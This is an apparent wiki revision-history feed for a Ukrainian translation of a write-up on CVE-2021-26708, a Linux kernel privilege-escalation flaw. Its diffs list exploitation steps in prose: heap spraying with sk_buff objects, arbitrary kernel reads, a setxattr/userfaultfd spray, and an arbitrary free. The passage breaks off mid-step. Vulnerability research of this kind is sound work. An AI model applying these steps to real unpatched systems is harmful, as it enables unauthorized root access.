<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Fuk</id>
	<title>CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/uk - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%2Fuk"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;action=history"/>
	<updated>2026-04-12T12:33:28Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;diff=2635&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;На першому кроці я почав вивчати стабільне розпилення купи, яке використовувало виконання прос...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;diff=2635&amp;oldid=prev"/>
		<updated>2021-05-06T02:01:38Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;На першому кроці я почав вивчати стабільне розпилення купи, яке використовувало виконання прос...&amp;quot;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 02:01, 6 May 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l568&quot; &gt;Line 568:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 568:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;chinese&amp;quot; dir&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;ltr&amp;quot; class&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Довідка &lt;/ins&gt;==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;=參考==&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-2613:rev-2635 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;diff=2613&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;Якщо під час обробки msgsnd () відбувається пошкодження пам'яті msg_msg.security з потоку setsockopt (), перевірк...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;diff=2613&amp;oldid=prev"/>
		<updated>2021-05-06T01:55:17Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Якщо під час обробки msgsnd () відбувається пошкодження пам&amp;#039;яті msg_msg.security з потоку setsockopt (), перевірк...&amp;quot;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 01:55, 6 May 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l430&quot; &gt;Line 430:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 430:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;2. Підготуйте 2800-байтний буфер у просторі користувача та використовуйте 0x42 для memset ()&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;2. Підготуйте 2800-байтний буфер у просторі користувача та використовуйте 0x42 для memset ()&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Використовуйте sendto &lt;/ins&gt;() &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;для надсилання цього буфера з клієнтського сокета в кожен серверний сокет для створення об’єктів sk_buff у kmalloc&lt;/ins&gt;-&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;4k. Використовуйте &lt;/ins&gt;`sched_setaffinity () &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;на кожному доступному процесорі&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;3.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;用sendto&lt;/del&gt;()&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;將這個緩衝區從客戶端套接字發送到每個服務器套接字，用於在kmalloc&lt;/del&gt;-&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;4k中創建sk_buff對象。在每個可用的CPU上使用&lt;/del&gt;`sched_setaffinity()&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;4. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Виконайте довільний процес читання на vsock_sock&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;4.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;對vsock_sock執行任意讀取過程&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;5. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Обчисліть можливу адресу ядра sk_buff як sk_memcg плюс 4096 &lt;/ins&gt;(&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;наступний елемент &lt;/ins&gt;kmalloc-&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;4k&lt;/ins&gt;)&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;5.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;計算可能的sk_buff內核地址為sk_memcg加4096&lt;/del&gt;(kmalloc-&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;4k的下一個元素&lt;/del&gt;)&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;6. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Виконайте довільне читання цієї можливої ​​адреси sk_buff&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;6.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;對這個可能的sk_buff地址執行任意讀&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;7. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Якщо ви знайшли 0x42424242424242lu в розташуванні мережевих даних, знайдіть справжній sk_buff і перейдіть до кроку 8. В іншому випадку додайте 4096 до можливої ​​адреси sk_buff і перейдіть до кроку 6&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;7.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;如果在網絡數據的位置找到0x42424242424242lu，則找到真正的sk_buff，進入步驟8。否則，在可能的sk_buff地址上加4096，轉到步驟6&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;8. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Виконайте розпилювач купи setxattr &lt;/ins&gt;() &amp;amp; userfaultfd () &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;з 32 pthreads на sk_buff і повісьте їх на pthread_barrier&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;8.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;sk_buff上執行32個pthreads的setxattr&lt;/del&gt;()&amp;amp;userfaultfd()&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;堆噴射，並把它們掛在pthread_barrier上&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;9. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Довільно відпустіть адресу ядра 